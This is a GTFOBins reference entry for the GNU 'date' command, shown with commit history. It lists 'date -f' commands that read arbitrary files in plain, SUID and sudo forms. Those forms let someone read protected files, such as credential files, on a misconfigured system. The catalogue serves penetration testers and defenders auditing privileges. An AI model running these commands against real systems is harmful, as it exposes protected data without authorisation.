GTFOBins.github.io/_gtfobins/date.md

20 lines
429 B
Markdown
Raw Permalink Normal View History

2018-09-06 17:04:47 +02:00
---
description: |
Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.
This only works for the GNU variant of `date`.
functions:
file-read:
- code: |
LFILE=file_to_read
date -f $LFILE
2018-10-05 19:55:38 +02:00
suid:
2018-09-06 17:04:47 +02:00
- code: |
LFILE=file_to_read
./date -f $LFILE
2018-10-05 19:55:38 +02:00
sudo:
2018-09-06 17:04:47 +02:00
- code: |
LFILE=file_to_read
sudo date -f $LFILE
---